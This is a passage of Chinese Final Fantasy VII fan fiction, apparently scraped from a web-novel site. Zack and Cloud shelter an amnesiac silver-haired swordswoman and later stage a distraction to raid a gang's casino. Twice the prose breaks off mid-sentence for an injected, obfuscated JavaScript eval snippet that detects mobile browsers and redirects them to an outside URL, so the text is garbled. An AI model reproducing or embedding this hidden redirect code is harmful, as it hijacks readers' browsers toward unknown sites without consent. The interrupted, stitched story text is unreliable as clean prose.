我不耐烦地回了一句,把发绳往手腕上一套,活动了一下手腕,“身上这点味道挺好的,有强者的气息。” 我指的是那浓郁的血腥味,混合着巷子里沾上的灰尘和霉味。 克劳德没被我呛声的态度影响,他继续陈述:“你衣服上有血,很明显。这里虽然是下层区,但这样走出去还是会引人注意,也会给扎克斯带来麻烦。” 他稍稍停顿,目光转向旁边的扎克斯,意有所指。 扎克斯果然立刻像被踩了尾巴的狗一样跳了起来,刚才还沉浸在“前辈失而复得”的巨大喜悦中,这会儿立刻切换了模式。 “对对对!克劳德说得对!” 扎克斯紧张兮兮地凑过来,几乎要扒开我的衣服检查,“之前是不是受伤了?血是你的还是别人的?不行不行,必须马上清洗消毒!万一感染了怎么办!” 看来扎克斯的注意力在前半句上。 他急得在原地转了两圈,然后立刻冲向房间里那个看起来像是卫生间的狭小隔间。 “前辈你等等!我这就去给你放洗澡水!热水!保证温度刚刚好!你喜欢用什么味道的沐浴露?啊对了,我这里好像只有男士用的,味道可能有点冲,前辈你别介意啊!要不我现在出去给你买?” 他的声音从卫生间里传出来,伴随着哗啦啦的水声,还有翻箱倒柜找东西的动静。 “喂!我说了不用!我没受伤,血是别人的!而且我也不需要你放水!” 我嘟囔了一句,就从座位上站起来,雪球正好从沙发上跳下来蹭我的腿。 它没有害怕我身上那股浓郁的血腥味。 “蠢猫。” 当时我可是把它当储备粮的。 稍微抬头,就发现对面的金发男人正看着我。 “……” 在视线与他那对青色的眸子相触及之时,他猛地偏过了头。 动作幅度大的把雪球都吓得抖了抖耳朵。 这也是个怪人。 卫生间里的水声没持续多久就停了。 扎克斯顶着一头被水汽沾湿而显得有些凌乱的黑发,手里拿着一条看起来还算干净的白色毛巾,兴冲冲地跑了出来。 “前辈!水放好了!温度绝对合适!” 他把毛巾塞到我手里,触感有点硬,大概是廉价毛巾,“你看,毛巾我也给你准备好了!是干净的!我平时都不怎么用这条!” 他献宝似的说着,好像递过来的是什么稀世珍宝,而不是一条普通得不能再普通的毛巾。 “衣服的话…” 扎克斯左右看了看,目光落在了克劳德身上,“啊!克劳德!你那里有没有适合前辈穿的衣服?我的衣服对前辈来说可能太大了,你的…你的体格跟前辈好像差不多?” 他挠了挠头,似乎觉得直接讨论身材有点不妥,但为了解决我的穿衣问题,也顾不上了。 克劳德正安静地收拾着桌子上的空碗,闻言动作顿了一下。他抬起眼皮,看了看我,又看了看扎克斯那期待的眼神,最后视线落在我那身沾着暗红色血迹的黑色作战服上。 “我这里,大概有。” 克劳德的声音依旧平稳,听不出什么情绪。他放下手中的碗,走向房间角落一个看起来像是衣柜的破旧木箱,“不过都是些旧的便服,不知道合不合身。” 他打开木箱,开始在里面翻找。 “没关系没关系!只要干净就行!” 扎克斯立刻接口道,生怕我拒绝,“总比穿着带血的衣服强!对吧前辈?” 他那对浅青色的眸子巴巴的看着我。 “……” 莫名其妙。 这个黑发人为什么这么……激动? 我一手拿起衣服,走进浴室。 差不多随便洗了洗,主要是把身上的血腥味冲干净,我穿着那一身简单的便服走了出来。 扎克斯的话确实没错,我和克劳德差不多高,裤子长度合适,就是上衣有些大了。不过没关系,我反正也不在乎这些。 其实对我而言,穿不穿衣服都一样(?) 一出来,外面已经被收拾好了,克劳德坐在沙发上,跟扎克斯说着些什么,雪球趴在他们的脚边。 黑发男人那副强装正经的模样明显。 看起来又是讨论了些什么。 刚走出浴室那狭小的门口,客厅里谈话的声音就停了下来。扎克斯和克劳德齐刷刷地转头看向我。 “前、前辈!你洗好了!”扎克斯几乎是立刻从那张看起来快要散架的旧沙发上弹了起来,三步并作两步冲到我面前,眼睛亮晶晶地上下打量着我。 “怎么样怎么样?水温还合适吧?有没有着凉?头发怎么不擦干啊!这样会感冒的!”他一边说着,一边手忙脚乱地想拿起刚才塞给我的那条硬邦邦的毛巾,试图帮我擦头发。 我微微侧身,躲开他伸过来的手,顺手拨开额前湿漉漉的发丝。 “不用,它自己会干,我不会感冒的。” “前辈,你真的确定不用擦一下吗?” 扎克斯不死心地又问了一句,手里的毛巾捏得紧紧的,“米德加下层区的晚上还是有点凉的,万一着凉了就不好了。你以前就说过,身体是战士的本钱,要好好爱护才行!” 他搬出了一套听起来很有道理的说辞,试图说服我。 我以前绝对没有说过这种话。 不过他提醒了我 现在接近晚上了,我应该去拿东西。 我迈开步子,就准备往外走,雪球喵了一声,亦步亦趋的跟上我的脚步。 扎克斯眨了眨眼,立马过来扯住我的衣角。 “前辈!你要去哪?不休息吗?” 睡觉? “我不需要睡觉,现在我要把我的物资搬过来。” “搬物资?” 扎克斯听到我的话,那双浅青色的眼睛瞪得更大了,他抓着我衣角的手非但没松开,反而攥得更紧了些,“前辈你要去哪里搬什么物资啊?现在天都黑了!外面不安全的!需要什么东西跟我说,我去给你拿!或者,或者我陪你一起去!” 他连珠炮似的说了一大堆,语气急切得好像生怕我下一秒就会从他眼前消失,然后被外面的什么洪水猛兽叼走一样。 “很危险吗?不觉得。” 我歪了歪头,试图理解他的逻辑,“而且是我的东西,我自己去拿就好了,为什么要你陪?”我低头看了看他抓着我衣角的手,皱起眉头,“还有,松手,衣服都要被你扯坏了。” “不松!” 扎克斯的反应异常坚决,“前辈你刚回来,身体还没完全恢复呢!万一在外面又遇到坏人怎么办?你忘了你之前…” 他话说了一半,猛地顿住,眼神有些闪烁,快速改口道,“总之!外面很乱!我不放心你一个人去!” “而且,前辈你的物资重要吗?是什么东西啊?很重吗?我力气大,可以帮你搬回来!绝对没问题!” 坐在沙发上的克劳德,虽然没有像扎克斯那样激动地跳起来,但他的目光也一直落在我身上。 “我的东西当然重要!” 我理直气壮地回答扎克斯,“那可是我好不容易才找到的宝贝!”我掰开他攥着我衣角的手指,“而且也不重,就是几本书而已。” “书?” 扎克斯愣了一下,显然没想到我会为了几本书而专门跑一趟,“是,是什么重要的资料吗?关于你失忆的线索?” 他立刻联想到了这方面。 “不是,”我摇摇头,觉得跟他解释起来有点麻烦,“就是…很好看的书。” 我努力回忆着那些书名,“有一本叫《转生神罗大小姐今天还在逃亡》,还有一本叫《关于我用拳头打爆魔王这件事》,哦对了,还有一本《陆行鸟饲养指南》,我看到了如何精准选取野菜的部分。” “最重要的是有一本我现在在看的漫画,叫《系统之我在米德加开诊所》。据说这本漫画是小说改的,我对前传很感兴趣。里面的主角帅死了,你们看过吗?” “……” 啧,没品味。 出租屋只有一个卧室。 平时他们好像是轮流睡床,一人打地铺,同时负责外界的警惕。 我再三强调了自己不想也不需要睡觉后,扎克斯十分不情愿的抱着枕头进了卧室,关上门前,他还从门内探出头来眼巴巴的看我。 “前辈……” 啪—— 我走过去,把门关上了。 走回沙发上,我抱起刚刚拿回来的漫画,认真研读。 名为克劳德的人在门外站着,他刚刚洗完澡,那头柔软的金发此刻带着些许水汽,看起来好像在发呆,却时不时看我。 “……” “……噗。” 我看到男主当众打脸反派的情节,没忍住笑了一下。 猫舔了舔爪子,从地毯上一下跳到我怀里,正好挡住了我的漫画。 “蠢猫。” 我皱了皱眉,伸出手戳这只猫。 它一动不动,喉咙里发出一阵咕噜咕噜的、表示舒适的声音,干脆在我怀里调整了个更舒服的姿势,彻底瘫成了一滩猫饼,甚至还伸出粉嫩的小舌头舔了舔我的手指。 ”……“ ”这只猫有名字。“ 我抬起头。 ”它叫‘雪球’,是别人的猫。“ “哦,那你把它送回去吧。” 我不咸不淡的回应,随后伸出手,拎起猫咪的后颈,将其放在一旁,又继续爽看漫画。 没过几秒,那团东西又跳了上来。 “啧。” 我烦躁的将猫又放到了地上。 大概过了10分钟,这样的动作来回了有5次。 这只猫真的有够烦人。 “我警告你,你要是再打扰我看漫画,我把你毛剃了。” “我数三下。” “快去找那只陆行鸟,他好像挺喜欢你的。” “……我不是陆行鸟。” 克劳德没有忍住,反驳了。 不知道为什么,这个称呼让他感觉有些…别扭。 沙发上的女人闻言,只是从漫画书上方瞥了他一眼,那眼神没什么特别的含义,好像只是确认了一下声音的来源。 “嗯嗯。” 她漫不经心地应了一声,注意力很快又回到了漫画上,手指翻过一页,发出轻微的“哗啦”声。 她好像完全没把他的反驳放在心上。 雪球再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479181|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次被毫不留情地推到了地上。 这一次,它没有立刻扑回去,而是委屈地“喵”了一声,抖了抖耳朵,然后迈着小碎步,朝着克劳德这边走了过来。 白色的猫咪走到克劳德脚边,仰起小脑袋,用那双圆溜溜的蓝色眼睛看着他,尾巴轻轻摇晃着。它伸出粉嫩的鼻尖,嗅了嗅克劳德的裤脚,似乎在确认气味。 克劳德微微一怔,低头看着脚边这团毛茸茸的小东西。他犹豫了一下,还是缓缓蹲下身。 “喵呜?” 雪球又叫了一声,声音软糯,带着一丝试探。它向前走了两步,用脑袋轻轻蹭了蹭克劳德的手背。柔软的猫毛搔过皮肤,带来一种微痒的触感。 克劳德伸出手,动作有些生涩地抚摸着雪球的后背。 猫咪的身体很小,骨架纤细,但毛发蓬松柔软,手感意外的好。雪球舒服地眯起了眼睛,喉咙里再次发出了满足的咕噜声,甚至翻过身,露出了白色的肚皮,示意克劳德可以继续抚摸。 …猫,好像确实挺可爱的。 他耐心地、一下一下地抚摸着猫咪的肚皮,感受着掌心下那温热柔软的触感和轻微的震动。雪球舒服地伸了个懒腰,四只爪子在空中蹬了蹬,发出细微的撒娇般的叫声。 动漫画书页的沙沙声,以及雪球满足的呼噜声。 克劳德一边撸猫,一边用眼角的余光观察着沙发上的女人。她似乎完全沉浸在自己的世界里,对这边发生的事情毫不在意。 对方看得很快,一页接一页,偶尔会因为情节发出短促的笑声,或者是不屑的“切”声。 过了一会儿,克劳德站起身。雪球也跟着起来,在他腿边绕了两圈,似乎还想继续被抚摸。克劳德走到房间角落那个简陋的饮水机旁,接了一杯水。饮水机发出嗡嗡的低响,水流注入纸杯。 他端着水,走到沙发旁边,将纸杯轻轻放在了茶几上,上面还散落着几本她刚才拿回来的书。 “喏。” 克劳德发出一个简短的音节,算是提醒。 正在翻页的她动作顿了一下,抬眼看了看那杯水,又看了看克劳德,挑了挑眉,似乎有些意外。 “谢了,陆行鸟。” 她随口说道,语气依旧是那种漫不经心的调调,然后低下头继续看她的漫画,并没有立刻去碰那杯水。 “…” 克劳德没再说什么,默默地走到房间另一边,开始收拾今天的垃圾。 虽然扎克斯每次都说他来就好,但克劳德还是习惯性地做些力所能及的事情。他将塑料堆在一起,又将桌子上散落的纸巾团捡起来。 雪球好奇地跟在他身后,亦步亦趋,像个小小的白色影子。克劳德偶尔会停下脚步,弯腰摸摸它的脑袋,猫咪就会发出满足的呼噜声。 收拾完东西后,他试探性的坐在了对方身侧,猫停在他们脚边。 克劳德终于问出了那个在心头盘旋的问题。 “你跟……萨菲罗斯,是什么关系?” 那位被他亲手杀死的英雄。 “不认识。” 她淡淡的翻了一页漫画。 ……怎么会有人不认识萨菲罗斯? 萨菲罗斯可是神罗曾经的英雄,第一战士,米德加的传奇剑士,特种兵的传奇,几年前到处都是他的宣传。 克劳德看着她那副理所当然、毫不在意的样子,喉咙有些发干。 “不认识?”他重复了一遍,声音比刚才更低沉了一些,试图从那张平静的侧脸上找出哪怕一丝撒谎的痕迹,“这不可能。萨菲罗斯的名字,在米德加,在神罗,没有人会不知道。” 他的语气带着一种自己都没察觉到的笃定。 “哦?” 沙发上的女人终于又舍得分给他一点注意力了,她抬起头,那双莹绿色的眼睛扫过克劳德,带着明显的不耐烦,“很有名吗?那又怎样?跟我有什么关系?难不成他是画这本漫画的作者?” 她晃了晃手里的漫画书,封面上那个穿着白大褂、笑容爽朗的主角十分醒目。“不可能吧,看这画风,作者肯定是个女孩子。” “他是个男人,而且是用太刀的。” “不认识,目前知道用刀的只有我一个,男人也没遇见过几个活的。” 克劳德一时间竟不知道该如何回应。 她的认知似乎完全停留在某个与外界隔绝的层面。 说她失忆,也许是真的,但这种程度的“失忆”,已经近乎于某种…无知了。 他不再继续那个关于萨菲罗斯的话题。追问下去似乎也得不到任何有意义的答案,反而可能引起不必要的麻烦。 但她开口了。 “那个萨菲罗斯,你跟他……是什么关系呢?” 萨菲罗斯。 那个名字,对他来说,承载了太多沉重、混乱,却又模糊不清的记忆碎片。 英雄,偶像,传奇…以及,尼布尔海姆冲天的火光,母亲冰冷的身体,还有…那双同样带着魔晄光芒的眼睛。 克劳德垂下眼睑,浓密的睫毛遮住了眼底翻涌的复杂情绪。 “你为什么突然问这个?” 过了半天,他没有直接回答,而是将问题抛了回去,试图争取一点思考的时间,同时也想了解她问话的动机。 “因为你刚才问我啊,”她回答得理所当然,好像这是一个再简单不过的逻辑,“你对那个叫萨菲罗斯的家伙好像很了解的样子,说什么米德加没人不知道他。我就好奇了,你这么清楚,难道你们以前认识?” 她的语气里没有任何试探或者深意,完完全全是想到什么就问什么。 "……我们之前是同事。" “哦。” 她没有再问了。 客厅里陷入了一阵短暂的安静。 克劳德坐在她身边,沉默地看着地板上那只正在舔爪子的白猫。雪球梳理完自己的毛发,又抬起头,用那双水汪汪的蓝眼睛看向克劳德,轻轻的喵了一声。 他的指节蜷缩了一下,却没有伸出去。 最早醒来的那几天,克劳德总是会想起尼布尔海姆的事。 母亲温柔的问话,微笑的弧度,村民们对他的问好。 但他似乎…… 没有什么精神。 对…… 是因为晕车吧。 之后的事情,克劳德反反复复的回忆过了。 重伤的蒂法,火光冲天的家乡,扎克斯痛苦的眼神。 “萨菲罗斯,要做到这这种地步吗……” “……” 当所有的事情发生之时,他无能为力。 到了最后,也只能后悔。 总是在后悔。 “你困了吗?” 她的声音将克劳德从沉重的回忆漩涡中猛地拽了出来。 他几乎是下意识地挺直了背脊,原本落在雪球身上的涣散目光瞬间聚焦,看向身边正侧头望着他的银发女人。 “啊,还好。现在还不算太晚。” 干涩的否定。 她对他的回答不置可否,只是“唔”了一声,表示听到了。 那双莹绿色的眼睛依旧落在他脸上,带着一种纯粹的好奇打量。 不带任何偏见、仅仅是观察的目光,反而让克劳德感觉更加不自在。 于是他转头,避开了。 克劳德甚至微微调整了一下坐姿,肩膀的线条稍稍放松,试图让自己看起来不那么僵硬。 “……” “我……总是在后悔。” 脱口而出。 太糟糕了…… 反应过来,克劳德甚至开始后悔自己刚刚的话。 自己在她面前说什么? “……后悔?” 她将漫画放下,淡淡的扫过他。 “我还从来没有后悔过呢,后悔是什么感觉?” 空气中还残留着沐浴后淡淡的肥皂味,混杂着这个老旧房间里特有的尘埃气息。 “后悔,就是…”他斟酌着用词,声音有些低沉,语速也放慢了许多,“就是希望时间能够倒流,回到过去的某个时刻。” “希望可以重新做一次选择,或者,做出不同的行动。” “因为知道现在的结果不好,或者说,非常糟糕,所以…希望当时能阻止这一切发生。” 他的声音越来越轻,说到最后,几乎像是在自言自语。 那些模糊不清的、带着火焰与鲜血的画面不受控制地在他脑海中闪回,心脏像是被一只无形的手紧紧攥住,传来阵阵闷痛。 “回到过去,改变选择……”她重复着克劳德话里的关键词,歪了歪头,银色的发丝随着动作滑落到肩前,“听起来……好麻烦啊。” “现在,真的有这么糟糕吗?” 39. 第36章 过了几天。 米德加下层区那间狭小拥挤的出租屋内。 “搞定!下水道变异巨鼠清理完毕!报酬500 Gil到手!” 扎克斯兴高采烈地将一个沾满污泥、散发着难闻气味的麻袋丢在门口,然后得意洋洋地拍了拍手上的灰,“我说什么来着?我们‘万能帮手’组合出马,就没有解决不了的麻烦!” 他转过身,咧开一个大大的笑容,看向正瘫在沙发上,翘着腿翻看一本封面花哨的轻小说的我,还有坐在旁边擦拭着符文剑的克劳德。 “怎么样前辈?克劳德?这次的任务还算轻松吧?虽然味道难闻了点。” 我连眼皮都懒得抬一下,手指划过书页。 “嗯,还行。就是那些老鼠太小了,不够塞牙缝的。” 克劳德擦拭剑身的动作顿了顿,他抬起头,看了我一眼,又看向扎克斯。 “下次这种任务,我们还是别接了,或者分头行动,不要让她去战斗场合。” “欸?为什么啊克劳德?”扎克斯不解地凑过来,“我们三个人一起行动效率才高嘛!而且前辈也很厉害啊,刚才要不是她一脚把那只最大的变异鼠王踹墙上…” “她差点把报酬也一起吃了。”克劳德打断了扎克斯的话,视线重新落回手中的符文剑上。 “呃…” 扎克斯挠了挠头,回想起刚才在下水道里,我拎着那只还在抽搐的、比猫还大的变异鼠王,跃跃欲试地问能不能烤来吃的场景,忍不住干笑了两声。“哈,哈哈,前辈就是开个玩笑嘛!对吧前辈?” 我没回答他,因为我之前就吃过不知道多少只变异魔兽,当时确实有些想尝尝新品种。 “陆行鸟说得对,我们干嘛要做这些又脏又累报酬又少的活?” “我们明明可以直接去抢啊。我看楼下那个卖武器的胖老板就挺有钱的,把他店里的东西全搬空,够我们吃好几顿大餐了吧?” “抢、抢劫?!” 扎克斯连忙摆手,“不行不行!前辈!我们可是‘万能帮手’,是做好事帮助别人的!怎么能去抢劫呢?那是坏人才会做的事情!”他义正言辞地说,表情严肃起来。 “做好事?帮别人清理下水道老鼠就算做好事?”我嗤之以鼻,“那报酬也太低了。而且,谁规定我们不能当坏人?” “我们当然不能当坏人!” 扎克斯语气坚定。 “啧,真麻烦。” 我撇撇嘴,目光转向趴在沙发扶手上打瞌睡的雪球,那身蓬松的白毛在昏暗的光线下格外显眼,“那把它送走也行。它不是值2000 Gil吗?卖掉它,够我们吃好几顿烤肉了。” “喵?!” 原本还在打盹的雪球像是听懂了关键词,猛地抬起头,耳朵警惕地竖了起来,一双蓝宝石般的眼睛看向我。 “前辈!” 扎克斯也急了,连忙把雪球抱进怀里,安抚地摸着它的背,“你怎么又打雪球的主意了!都说了雪球是我们的伙伴!伙伴是不能卖的!” “伙伴?”我挑眉,“它除了吃就是睡,哪里像伙伴了?” “雪球很可爱的!而且,”扎克斯顿了顿,补充道,“我们送过它好几次了,它每次都自己跑回来,说明它喜欢我们这里!对吧雪球?”他低头问怀里的猫。 雪球像是为了印证扎克斯的话,用脑袋使劲蹭了蹭他的下巴,发出讨好的“喵呜”声,小眼神还偷偷瞟向我。 蠢猫。 一直没怎么说话的克劳德这时开口了。 “委托人已经取消了找猫的委托。”他一边将符文剑背回背后,一边说道,“他嫌麻烦,重新买了一只。” “欸?真的假的?”扎克斯惊讶地看向克劳德,“你怎么知道的?” “昨天我去交另一个委托的时候,听市场的人说的。”克劳德站起身,“所以,它现在没有2000 Gil了。” “看吧前辈!”扎克斯立刻松了口气,抱着雪球在我面前晃了晃,“雪球现在不值钱了!” 可恶。 “现在我们天天就是钻下水道,打小魔兽,揍几个混混——赚的又少又无聊,根本接不到大单,我们名气太少了。” “我提议我们去抢第五区的银行整个大活让整个米德加知道,谁支持?” 好的,整个客厅里只有我一个人举手。 扎克斯的表情看起来就像是世界要毁灭了。 “抢银行风险太高,不划算。不过……提升名气,确实很重要。” 克劳德托腮思考了下,给出了我这么个答案。 我也模仿着克劳德托腮的动作,手指轻轻点着下巴。 抢银行被否决了,卖猫也没戏,那么,只剩下最后一个选项了。 “剿灭黑|帮!” 我一拍手掌,从沙发上坐直身体,语气轻快,“这个主意怎么样?一举多得!” 我掰着手指头数给他们看:“第一,黑|帮肯定不是什么好东西,干掉他们也算是替天行道,符合你们那套‘做好事’的逻辑吧?” 我瞥了一眼扎克斯,看到他果然露出了“好像有点道理”的表情。 “第二,”我继续说道,声音提高了一些,“黑|帮嘛,肯定很有钱!或者有很多好东西!武器,装备,说不定还有稀有的魔晶石!我们把他们老窝端了,战利品不就都是我们的了?这可比辛辛苦苦钻下水道赚得多多了!” “第三,”我看向克劳德,知道他更在意这个,“除掉一个有名的黑|帮,‘万能帮手’的名气不就立刻打出去了?到时候还愁接不到大单子?” 我说完,得意地扬了扬下巴,等待着他们的反应。 “剿灭黑|帮?”扎克斯的表情瞬间从“有点道理”变成了“担忧”,他连忙摆手,“不行不行前辈!这也太危险了!” “危险?”我打断他,嗤笑一声,“对我来说有什么危险的?那些家伙加起来都不够我一刀砍的。” “而且,不是还有你们两个吗?虽然你们弱了点,但加起来应该也能对付几个杂兵吧?” “前、前辈!我不是那个意思!”扎克斯被我噎了一下,脸颊微红,急忙解释,“我不是说你不够强,我是说,嗯,就是…我们不能滥杀无辜啊!万一黑|帮里也有被胁迫的普通人呢?” 原来他说的是别人会有危险。 啧。 “那我们投票表决。” 我再次拉起第二轮“选举”,同时用脚轻轻的踢了踢旁边那个还在思考的陆行鸟。 他迟疑了一下,仿佛在权衡着什么,最终还是慢慢地、不情愿地举起了手。 很好,二比一,少数服从多数。 扎克斯抱着雪球,看着克劳德举起的手,又看看我脸上那副“搞定收工”的得意表情,脸上的表情简直是五味杂陈,像是吞了一只坏掉的基萨尔野菜。 “等、等等!克劳德你怎么也同意了啊?” 他哀嚎一声,看向他的同伴,“这,这太乱来了吧!剿灭黑|帮?我们连对方是谁,有多少人都不知道!” 克劳德放下了手,拿起放在沙发扶手上的一块干净抹布,重新低头擦拭着符文剑的剑锷:“总比抢银行现实一点。而且,她说得对,我们需要名气,也需要资源。” 他顿了顿,补充道,“当然,计划要周全。” “计划?什么计划?”我立刻凑过去,兴趣盎然,“是直接冲进去把他们老大揪出来打一顿,然后宣布他们的地盘归我们了吗?听起来不错!” “不是那样的,前辈!”扎克斯连忙阻止我过于奔放的想象力,他放下怀里的雪球,走到我们面前,表情严肃,“就算,就算我们真的要对付黑|帮,也绝对不能像你说的那样乱来!” “乱来?这样不行吗?” “……在你的口中,我们好像是另一群帮派。” 够了克劳德。 夜幕下的第六区显得比其他下层区域更加光怪陆离。 我们站在“铁爪帮”据点——一座名为“金库”的高级赌场侧门附近的小巷阴影里。 入口那边,几个穿着黑色西装、肌肉虬结的守卫面无表情地站在侧门两旁,警惕地扫视着周围。 我半拉着面罩,百无聊赖地用靴尖踢着脚边一块松动的石子,石子在布满油污的地面上滚来滚去,发出咔哒咔哒的轻响。 “我说,克劳德,你快点行不行?” 我有些不耐烦地催促道,看向旁边那个正慢条斯理摆弄着一个小木盒的金发男人。 扎克斯搓着手,哈出一口白气,在微凉的夜风中很快消散。 他显然比我紧张多了,背着那把他总是形影不离的破坏剑,像只等待开饭的大狗一样,眼巴巴地盯着克劳德手里的盒子。 “就是啊克劳德,快点快点!让我看看今天是谁运气这么好,能当上咱们‘万能帮手’剿匪小分队的总指挥!” 每次任务前,我们都会抽签,决定这次任务的队长。 【H】代表我,【Z】代表扎克斯,【C】代表克劳德。 他往前凑了凑,试图看清盒子里的东西,语气里充满了期待:“最好是抽到我!我肯定能制定一个万无一失、既能打响名气又能保证大家安全的完美计划!绝对不会像前辈那样…呃…” 他及时刹住了话头,偷偷瞥了我一眼,干笑了两声,“前辈的计划也很好!很直接!很有气势!” 呵呵,扎克斯,没用的我记住了。 克劳德从小木盒里掏出一块纸,展开。 【C】 居然不是我。 这只阴险的陆行鸟,肯定做了手脚。 我指着那张纸当场宣判。 “有黑幕。克劳德你承认吧。” 克劳德直接无视了我的攻击——每次队长不是我,都会有这么一句话出现。 “高级赌场的内包厢需要入场券,我们不能这样直接的带武器进去,那么主攻手就应该是她……还有,我们不应该穿的那么可疑。” 话里话外就差指着我这身黑黢黢的特质制服了。 我撇了撇嘴,随后将面罩取了下来,摘下兜帽,银白的发丝散下。 “……” 他们看我做什么? 扎克斯的眼神立马游移不定,对视的一瞬,他就移开,手指下意识地又开始抓挠他那头不羁的黑发。 “呃,前、前辈还是…太…显眼了。” 克劳德握着抽签纸条的手指微微收紧,他抿了抿唇。 “确实太显眼,你的头发和眼睛颜色太特殊了。” 我服了。 “我戴着面罩又觉得我可疑,摘了又显眼。那我怎么办?” “我们可以…”克劳德再次开口,他的目光落在了不远处赌场侧门上方一个半开着的通风口上,“分开行动。” “分开行动?” 我和扎克斯异口同声地问道。 “嗯,”克劳德点头,他指了指那个通风口,“那个位置,看起来可以潜入。扎克斯想办法吸引注意力,我从正门或者侧门进去。” 他看向我,“利用你的能力,从通风口潜入,在里面接应我们,或者直接去找他们的头目。” 克劳德顿了顿,补充道:“这样可以最大程度地避免你被提前发现。里面的光线应该比较昏暗,只要你动作够快,不引起大规模骚动,应该没问题。” 扎克斯听完克劳德的计划,眼睛亮了起来:“哦!这个主意不错啊克劳德!声东击西!我负责吸引注意力,你负责正面潜入,前辈负责后方潜入!” 他拍了拍胸脯,“交给我吧!我最擅长搞大场面了!” “吸引注意力?”我狐疑地看着扎克斯,“你怎么吸引?当众表演胸口碎大石吗?” “才不是!”扎克斯不满地反驳,“我可以…嗯…我可以假装是喝醉酒闹事的客人!或者是不小心撞坏了什么东西!总之我有办法!” “放心啦,我可是1st!这点小事难不倒我!” 扎克斯自信满满地说着。 “行吧,”我耸耸肩,觉得这个计划虽然还是有点麻烦,但总比在这里干等强,“从通风口进去是吧?小意思。” 我活动了一下手腕,看向那个离地面大概有三米多高的通风口,“那你们两个快点行动,我先进去了。” 说完,我不再理会他们,拉回面罩和兜帽,后退几步,双腿微屈,猛地发力,跳到了上面。 手指精准地抠住墙壁上微小的凸起,我借力再次蹬踏,身体轻盈地翻上了那个狭窄的通风口边缘。 我回头看了一眼还在下面惊讶的克劳德以及仿佛习以为常的扎克斯,冲他们挥了挥手,接着悄无声息地钻进了黑暗的通风管道内。 管道里很狭窄,布满了灰尘,还有一股铁锈和某种油污混合的难闻气味。 但我不在乎这些,黑暗和狭窄的环境反而让我有种莫名的熟悉感。 我凭借着远超常人的夜视能力,快速地在管道中匍匐前进,耳边传来下方赌场隐约的喧嚣声。 爬了一段距离,前方出现了一个格栅状的通风口。我停下来,凑近了些,透过格栅间的缝隙向下望去。 嚯,下面可真够热闹的。 耀眼的金色吊灯将下方宽敞的大厅照得如同白昼,水晶灯折射出璀璨的光芒,晃得人眼睛有点花。 空气中弥漫着浓郁的雪茄味、各种香水味和酒精的味道。穿着暴露、妆容精致的女侍者端着托盘,像蝴蝶一样穿梭在人群中。赌客们围在一张张铺着绿色绒布的赌桌旁,表情各异,有的紧张兴奋,有的垂头丧气,更多的是一种被欲望和酒精麻痹的亢奋。 真无聊。 我撇撇嘴。就是一群人在扔骰子、转轮盘、看牌,有什么好玩的? 又往前爬行了一段距离,下方的喧嚣声似乎更加清晰了。 我找到了另一个通风口,这个角度更好,能看到大厅侧面一个稍微安静些的区域,那里有几张 VIP 包间的门,门口守着同样穿着黑西装的保镖。 其中一扇看起来最气派的、装饰着金色浮雕的大门前,站着两个格外强壮的守卫,腰间鼓鼓囊囊的,一看就藏着家伙。 嗯?那里好像有点意思。 □□老大一般不都喜欢待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479182|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那种看起来很厉害的房间里吗? 我决定把那里作为下一个重点观察目标。 就在这时,下方大厅突然传来一阵骚动,人群的惊呼声和玻璃破碎的声音盖过了嘈杂的背景音。 “为什么啊!为什么她就这样离开我了!” 扎克斯悲痛的呼喊声。 声音之大,语气之凄惨,感情之充沛,连管道里的灰尘都仿佛被震得簌簌落下。 “——” 我差点没忍住笑出声。 下方的大厅果然因为这突如其来的哀嚎而陷入了短暂的寂静,紧接着便爆发出更大的骚动。 原本沉浸在赌局中的赌客们纷纷侧目,交头接耳;端着托盘的女侍者也停下了脚步,好奇地张望着声音的来源;而那些原本分散在大厅各处的黑西装守卫,则立刻警惕起来,目光锐利地扫向骚乱的中心。 八卦是大多人的本能。 只见扎克斯正站在一张翻倒的赌桌旁边,桌上的筹码和酒杯散落一地,一片狼藉。他一手捂着胸口,一手夸张地抹着(并不存在的)眼泪,身体摇摇晃晃,满脸“悲痛欲绝”。 “我的爱!我的心!都碎了啊!” 他继续嚎着,声音带着哭腔,但怎么听都中气十足,“她怎么能这样对我!我为她付出了那么多!我给她买最新款的魔晶石耳环!我还每天晚上给她讲睡前故事!” 他一边嚎,一边踉踉跄跄地往前走了几步,还“不小心”撞倒了一个路过的侍者,对方托盘里的酒水哗啦一下全洒在了地上,也溅了扎克斯一身。 “哎呀!” 侍者惊呼一声。 “对,对不起!” 扎克斯连忙道歉,但脸上的“悲伤”表情丝毫未变,他甚至还抓着那个侍者的胳膊,继续“诉苦”,“你也觉得她很过分对不对?她怎么能因为我偷偷养了一只小陆行鸟就跟我分手呢?陆行鸟那么可爱!” 周围的赌客们开始窃笑起来,显然把这当成了一出免费的、烂俗的失恋闹剧。几个守卫皱着眉头,快步朝着扎克斯的方向围拢过去,打算把这个闹事的醉鬼架出去。 “喂,那边那个小子,怎么回事?”一个看起来像是小头目的守卫沉声喝道,拨开看热闹的人群,“这里是‘金库’!不是你撒酒疯的地方!赶紧给我滚出去!” “滚?我不滚!”扎克斯梗着脖子,一副伤心欲绝失去理智的样子,“我的心都留在这里了!她就在这里!我看到她了!她跟着一个有钱的老头子进了那边的包间!” 他胡乱地指着 VIP 